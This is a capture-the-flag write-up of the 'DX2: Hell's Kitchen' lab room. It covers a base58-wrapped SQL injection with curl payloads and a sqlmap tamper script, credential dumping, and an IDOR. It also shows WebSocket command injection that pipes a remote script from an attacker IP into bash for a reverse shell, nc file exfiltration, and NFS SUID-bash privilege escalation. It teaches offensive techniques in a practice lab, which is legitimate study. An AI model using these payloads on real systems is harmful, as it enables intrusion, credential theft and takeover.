DX2: Hell's Kitchen

Can you help compromise a civilian machine that we believe is connected to the NSF? -by Aquinas

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a Nmap scan and find only two open ports, 80 and 4346. A subsequent service and default script scan tells us that both are web servers.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ nmap -p- dx2.thm -T4                  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-19 14:02 EDT
Nmap scan report for dx2.thm (10.10.80.2)
Host is up (0.038s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
4346/tcp open  elanlm

Nmap done: 1 IP address (1 host up) scanned in 123.28 seconds
                                                                                                                                                                           
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ nmap -sV -sC -p 80,4346 dx2.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-19 14:06 EDT
Nmap scan report for dx2.thm (10.10.80.2)
Host is up (0.065s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http
|_http-title: Welcome to the 'Ton!
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 200 OK
|     content-length: 859
|     date: Fri, 19 Jul 2024 18:06:46 GMT
|     <!DOCTYPE html>
|     <html>
...
|     <script src="static/check-roo
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     content-length: 0
|     date: Fri, 19 Jul 2024 18:06:46 GMT
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     content-length: 0
|     connection: close
|     date: Fri, 19 Jul 2024 18:06:46 GMT
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     content-length: 0
|     connection: close
|_    date: Fri, 19 Jul 2024 18:06:46 GMT
4346/tcp open  elanlm?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 408 Request Timeout
|     content-length: 0
|     connection: close
|     date: Fri, 19 Jul 2024 18:06:51 GMT
|   GetRequest: 
|     HTTP/1.0 200 OK
|     content-length: 11063
|     date: Fri, 19 Jul 2024 18:06:51 GMT
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>NYCCOM.USERS.PUB</title>
|     <style>
...

We start with the web server on port 80. It is a hotel booking site with a possibility to book a room, view a guestbook and learn more about the 'ton in the imprint.

In the guestbook we find some long-term guests, these might be interesting. On further browsing of the site, we were unable to make any further superficial findings. It was not possible to book a room as the hotel is already fully booked.

We had no success with a Gobuster scan to determine further directories and times. We'll take a closer look at the source. For the sake of clarity, we use cURL for this.

On the index page there is a script /static/check-rooms.js. This checks the availability of rooms using the API call /api/rooms-available. If rooms are still available, it redirects to /new-booking. So let's take a closer look at /new-booking.

Rooms can be booked under /new-booking. However, the form for this is not visible. Furthermore, a script /static/new-booking.js is embedded. Let's take another look at this.

The script is used to retrieve booking information via the API endpoint /api/booking-info?booking_key=BOOKING_KEY. The BOOKING_KEY is taken from a cookie set by the server.

We pull the BOOKING_KEY from the browser's storage and see that it is encoded.

This key is base58 encoded and actually contains the information booking_id:<7-digit-number>.

If we make an API access with the key we already have, we only get the response not found. The first thought was to brute-force the IDs in the hope of getting more information than just the room number and number of nights. Unfortunately, this is a fallacy and not feasible, because every single request takes up to a second. But more on this later in the next section.

We query for the ID we have in the cookie, but it only returns a not found. Further reloads on /new-booking results into different cookies which all gives a not found.

Before we continue, we will look at the web server at port 4346, as we are still in the initial reconnaissance phase.

On the index page, we find a login to NYComm again. Usernames or passwords cannot be enumerated due to the generalized feedback. We also have no success with the users we have found in the guestbook. The source does not tell us anymore.

However, we find two interesting endpoints using Gobuster: /mail and /ws. Before the room was patched, it was possible to directly further enumerate and exploit /ws without authentication, but more on that later.

Access to NYComm

We go back to the hotel page, the booking page /new-booking. And take a closer look at the end point /api/booking-info.

Let's try to mess around with the parameter. Maybe letters give another result.

Again not found. Is that good or bad?

Let's try to test it with the simplest SQL Injection the letter '.

Very good, this time a bad request. Doesn't necessarily mean that SQL Injection works here, but we already have a different result.

Let's try the infamous payload ' OR 1=1 -- -.

You can find out why you shouldn't necessarily use this in the real world here:

And we get a not found. Interesting. SQL Injection seems to work here, otherwise it should have given a bad request for special characters. Perhaps there are simply no bookings. But we might have an SQL injection, which is very good. Every response with not found could therefore be a valid query. Let's see if we can enumerate the database and thus retrieve the data.

We use order by to enumerate the number of rows of that table we are facing. We work our way up slowly and increase the count by one at a time. From order by 3 we receive the response bad request. We are therefore dealing with a table with only two columns.

booking_id:1' order by 1 -- -
curl 'http://dx2.thm/api/booking-info?booking_key=5UBbpHLSVdeXKovifsoS1Lk2ufp6BDXjjrjUc9Qp'
booking_id:2' order by 2 -- -
curl 'http://dx2.thm/api/booking-info?booking_key=5UBbpHLSVdeXKovifsoS1Lk2ufp6BDXjkMcegdwS'
booking_id:3' order by 3 -- -
curl 'http://dx2.thm/api/booking-info?booking_key=5UBbpHLSVdeXKovifsoS1Lk2ufp6BDXjkrVpm8U4'
booking_id:4' order by 4 -- -
curl 'http://dx2.thm/api/booking-info?booking_key=5UBbpHLSVdeXKovifsoS1Lk2ufp6BDXjmMNzqczg'

We do a union select with integer values and get a response, this time neither not found nor bad request. SQL Injection is confirmed!

booking_id:1' UNION SELECT 1,2 -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=ApfkkDrFctMBrXvW3fJPqtgiyDhrqKLGAWqaQpgwBY91n3Pa'
{"room_num":"1","days":"2"}  

Next, we need to enumerate the database version of the database to determine the appropriate SQL commands to enumerate the entire database. We try payloads like @@Version, Version() or sqlite_version(). With sqlite_version() we get the version, and now we know that it is a SQLite database.

booking_id:1' UNION SELECT 1,sqlite_version() -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=2DM1mNyoCy8z33ctQNHz7tsjQhQwGGJ7BfAkBoWA2fLSzeW1rezWoJm7LdfsGxVyg8EnY'
{"room_num":"1","days":"3.42.0"}    

Manual Approach

For further enumeration, we now use PayloadsAllTheThings SQLite Payloads:

We determine the database structure. The following payload unfortunately only gives us information about the current table we are using. But it is also not suitable for the version we are using.

booking_id:1' UNION SELECT 1,sql FROM sqlite_schema -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=3fcdDXstvQBMjWHxTTY4rSpJ6j94tbFcTa7mQHUhBQKPjaSNqvhXzbC5knNsCQxwVfve8CVBUgAQk'
{"room_num":"1","days":"CREATE TABLE bookings_temp (booking_id TEXT, room_num TEXT, days TEXT)"}    

Using the Integer/String based - Extract table name we get the structure. We have the tables email_access, reservations and booking_temp.

booking_id:1' UNION SELECT 1,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=3HN9EcFJMeWBq54x2Tk9DEGmpUKqvuGUDMnicRgmKLtQCKGoDqqz3iCpif7zzSjFD3qmzCJjZCP1uBpnTEsvgSs4oSALTFZ5FiRyV5aJfBz2MSBKDr5tk2nxZ3tYduYKgRvgakxTrRzntzzmdV4bmM1RVnzUCZAeVTocrhWZBuH428'
{"room_num":"1","days":"email_access,reservations,bookings_temp"}     

We can now use the table names to determine the columns of each table via Integer/String based - Extract column name. We are interested in the table email_access, because this could contain credentials.

We get the columns names guest_name, email_username and email_password from email_acccess.

booking_id:1' UNION SELECT 1,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='email_access' -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=ACnMHD6J1XxN7kQu7LfMQWxJfpuVYz2wM2CXcUt398ns3iDxcvLbJ7mcbRKsN1Uk3p8MDfdmnsunVpCev7yTL4AaS7zvCz6ZtckRNq6yVA49Uy2QT4Rx7LKXTdpJiM8QsdNHpFuyma6Ugtkygvyka7ZQT2C3P7tQ' 
{"room_num":"1","days":"CREATE TABLE email_access (guest_name TEXT, email_username TEXT, email_password TEXT)"} 

Now we can simply pull the information from the table and find a password for the user pdenton.

booking_id:1' UNION SELECT group_concat(email_username),group_concat(email_password) FROM email_access -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=e7Zicyo9Kq2pk6Ta8E7kEFnsVi7p2VAXKYEfVHZGpseKw9x3o8pAxGhdUhy6EYJanhRv9aMwyu8CKq9maeLfk8QHjEALv2j2B8WLyWypECM8R7bWhWBqf4GpXnyAcicrNuza7Qeb7m4riuWuWc'
{"room_num":"NEVER LOGGED IN,NEVER LOGGED IN,NEVER LOGGED IN,pdenton,NEVER LOGGED IN,NEVER LOGGED IN","days":",,,<REDACTED>,,"}     

Automatic Approach

This part of the challenge can also be solved using SQLMap, but we need a tamper script that does the parameter encoding for us. 0day has kindly provided me with his script to share it here. Thank you very much!

dx2_tamper.py
from lib.core.enums import PRIORITY
import base58

__priority__ = PRIORITY.HIGHEST

def tamper(payload, **kwargs):
    """
    Encode the payload with base58 :)
    """
    if payload:
        prefixed_payload = f"booking_id:{payload}"
        encoded_payload = base58.b58encode(prefixed_payload.encode()).decode()
        return encoded_payload
    return payload

We create the script and an empty __init__.py file containing the tamper script.

For the automated approach, however, we assume that we know the basics such as the type of database and the indicator for a successful SQL injection. This is the message not found here. With --string option we specify a string that SQLMap should look for in the HTTP response to verify the existence of a successful SQL injection.

sqlmap -u "http://dx2.thm/api/booking-info?booking_key=" -p "booking_key" --tamper=dx2_tamper.py --dbms=sqlite --technique=U --string="not found" --random-agent --level=5 --risk=3 --dump

Accessing NYComm

We use the credentials found to log in to dx2.thm:4346 and are successful.

We can read mails, but there is no flag in the first place.

When looking at the source, we find a minified JavaScript.

We use Beautifier.io to make it readable.

Two things happen here, but we'll concentrate on the first one first. The script adds click event listeners to email rows, which, upon selection, fetch and display the email content from the /api/message endpoint using the email's message_id. Additionally, a Web Socket connection is established to update the time display and send the local timezone every second.

NYComm.js
let elems = document.querySelectorAll(".email_list .row");
for (var i = 0; i < elems.length; i++) {
    elems[i].addEventListener("click", (e => {
        document.querySelector(".email_list .selected").classList.remove("selected"), e.target.parentElement.classList.add("selected");
        let t = e.target.parentElement.getAttribute("data-id"),
            n = e.target.parentElement.querySelector(".col_from").innerText,
            r = e.target.parentElement.querySelector(".col_subject").innerText;
        document.querySelector("#from_header").innerText = n, document.querySelector("#subj_header").innerText = r, document.querySelector("#email_content").innerText = "", fetch("/api/message?message_id=" + t).then((e => e.text())).then((e => {
            document.querySelector("#email_content").innerText = atob(e)
        }))
    })), document.querySelector(".dialog_controls button").addEventListener("click", (e => {
        e.preventDefault(), window.location.href = "/"
    }))
}
const wsUri = `ws://${location.host}/ws`;
socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);

We access the endpoint /api/message?message_id= and go through individual IDs. We get a text in base64. IDOR is possible.

fetch("/api/message?message_id=" + t)

Decoding the text for message_id=1 we get the message after logging in.

In the message with message_id=3, we find the first flag, the web flag.

Shell as gilbert

Now to the second part of the minified JavaScript.

The script furthermore establishes a Web Socket connection to the server using the ws://${location.host}/ws URI, which updates the displayed time in real-time.

Until the patch it was possible to use the web socket without authentication (unintended), this is no longer possible. I had a script for this, but could not implement the authentication with the ID that is given after the login. Instead, we can access the web socket directly via the console after logging in.

NYComm.js
let elems = document.querySelectorAll(".email_list .row");
for (var i = 0; i < elems.length; i++) {
    elems[i].addEventListener("click", (e => {
        document.querySelector(".email_list .selected").classList.remove("selected"), e.target.parentElement.classList.add("selected");
        let t = e.target.parentElement.getAttribute("data-id"),
            n = e.target.parentElement.querySelector(".col_from").innerText,
            r = e.target.parentElement.querySelector(".col_subject").innerText;
        document.querySelector("#from_header").innerText = n, document.querySelector("#subj_header").innerText = r, document.querySelector("#email_content").innerText = "", fetch("/api/message?message_id=" + t).then((e => e.text())).then((e => {
            document.querySelector("#email_content").innerText = atob(e)
        }))
    })), document.querySelector(".dialog_controls button").addEventListener("click", (e => {
        e.preventDefault(), window.location.href = "/"
    }))
}
const wsUri = `ws://${location.host}/ws`;
socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);
const wsUri = `ws://${location.host}/ws`;
socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);

With socket.send("example") we can send messages to the socket, similar to the JavaScript we found. After a bit of trial and error, we find a possibility for command injection using command substitution. Unfortunately, the output is minimal and limited in its output, but we can see at the top left corner that we are probably in the / directory, bin is listed. Unfortunately, the feedback keeps updating, so you have to pay close attention to what is happening in the top left corner.

A lot of time was spent here, because the initial assumption was that some commands would be filtered, since the output Invalid occurred with the usual payloads for reverse shell. Here we first tried to get further via obfuscation of the payload, but this was not the right way. But when we tried the binaries such as nc or busybox individually, there was no restriction, but after further testing we see that the response Invalid comes after a certain length of the payload. So we are limited in length.

As a workaround, we can bring the shell to the system using cURL and execute it directly afterwards. To do this, we select the smallest possible query.

We write a busybox reverse shell in s and deploy it with our python web server.

We set up a listener. Unfortunately, not all ports are open, as you might expect from the notice, we try 443 and are successful.

Next, send the payload:

socket.send("$(curl 10.8.211.1/s|bash)")

The reverse shell script is downloaded,...

and executed. We are the user gilbert, but cannot find the user flag. The next thing we do is upgrade the reverse shell, see: https://0xffsec.com/handbook/shells/full-tty/

In the notes in the home directory, we find gilbert's password. We can now run sudo -l and see that it can retrieve the Uncomplicated Firewall status.

Only ports 80 and 443 are actually enabled, which will be interesting later.

Shell as sandra

We also find a note from sandra, dad.txt, in which she writes that she has filed a note with the server.

We use find and search for files that belong to Sandra. We find the note /srv/.dad, which belongs to sandra but can be read by gilbert.

In this note we find the password of sandra.

We change the user to sandra and find the user flag in the home directory of sandra.

Here, too, we find notes.

Furthermore, sandra is able to switch off the web server on port 80, we will keep this in mind.

Shell as jojo

In sandra's home directory there is a Pictures folder, in this folder there is a picture boss.jpg. Let's take a look at what might be hiding here. To do this, we need to transfer it to our machine.

We use the nc tool to transfer the file:

We remember that only port 80 and 443 are released. We use port 443 for transmission.

First we issue the following command on our attacker machine to wait and receive for incoming connection on 443 and store the received data into boss.jpg.

nc -l -p 443 > boss.jpg

On the victim machine, we now transfer the contents of the file to 443 using the following command:

nc -w 3 10.8.211.1 443 < boss.jpg

In the picture we find a text, this is the password for the user jojo.

We switch to the user jojo using the password from the picture and find another note about NFS.

Shell as root

As jojo we can execute /usr/sbin/mount.nfs. We are therefore able to mount an NFS share. The idea to extend our privileges to root is to provide an NFS as attacker, mount the NFS, copy the binary /bin/bash of the victim into it (to take dependencies into account) and set the SUID bit as root at the attacker machine. This binary can then be executed on the victim system in the context of root, giving us a root shell.

Setup NFS on attacker machine

We first set up the NFS on our attacker machine. Make sure you have installed NFS:

sudo apt update
sudo apt install nfs-kernel-server

We create the directory /srv/nfs/shared, set its ownership to the nobody user and nogroup group, and set the permissions to allow read and execute access to everyone, and write access to the owner.

sudo mkdir -p /srv/nfs/shared
sudo chown nobody:nogroup /srv/nfs/shared
sudo chmod 755 /srv/nfs/shared

We add *(rw,sync,no_subtree_check) to /etc/exports.

The line /srv/nfs/shared *(rw,sync,no_subtree_check) in /etc/exports does the following:

  • /srv/nfs/shared: Exports this directory.

  • *: Allows all clients to access it.

  • rw: Grants read-write access.

  • sync: Ensures changes are immediately written to disk.

  • no_subtree_check: Disables subtree checking for better performance.

This setup allows any client to read from and write to /srv/nfs/shared with immediate write operations and improved performance.

sudo nano /etc/exports
> /srv/mnt/share *(rw,sync,no_subtree_check)

With sudo exportfs -ra we re-export all directories listed in /etc/exports. It ensures that any changes made to the export configurations are applied without needing to restart the NFS service.

sudo exportfs -ra

Restart NFS Server and binding.

sudo systemctl enable nfs-server
sudo systemctl start nfs-server

Since we only have ports 80 and 443 available, and 443 is already used for our reverse shell, we have to provide NFS via port 80, which is actually possible and can be configured in /etc/nfs.conf as shown below.

sudo nano /etc/nfs.conf
> port=80

We restart the NFS server to apply our changes to the port.

sudo systemctl restart nfs-server
sudo systemctl restart rpcbind

After the server is running, we can use rpcinfo -p to check whether nfs is now offered on port 80.

Mount NFS

Now we mount the share, but wait, we still have to release port 80. We can do this with sandra and simply stop the web server running the hotel page.

We create the directory share in the home folder of jojo and issue the following command to mount:

sudo /usr/sbin/mount.nfs -o port=80 10.8.211.1:/ /home/jojo/share -wv

Transfer and modify /bin/bash

We do not transfer the /bin/bash of the victim via the NFS because we lack the rights on the victim machine for this. Here we use the nc tool again as already described to transfer this.

nc -l -p 443 > bash

After a very short time, we have the bash in our share:

nc -w 3 10.8.211.1 443 < /bin/bash

It is now important when editing the bash binary that we are root, we now make it executable and set the SUID bit.

Exploit

We now see from the victim machine in the share the executable bash with SUID bit set. By executing ./bash -p in the directory, we now get a root shell and can read the root flag in /root/root.txt.

Summary

The reconnaissance phase revealed two web servers on ports 80 and 4346. The hotel booking site on port 80 had a vulnerable API endpoint, leading to successful SQL injection, revealing database structure and credentials. Logging into the NYComm portal with these credentials, message IDs disclosed the web flag. Command injection via WebSocket on the same portal provided a shell as gilbert. Finding a note with sandra's password, we switched to sandra and retrieved the user flag from her home directory. In sandra's directory, we found a picture that, when extracted, revealed jojo's password, allowing us to log in as jojo and find a note about NFS. By setting up an NFS share on the attacker machine, mounting it on the victim machine, and modifying the /bin/bash binary, we gained root access and retrieved the root flag.

Last updated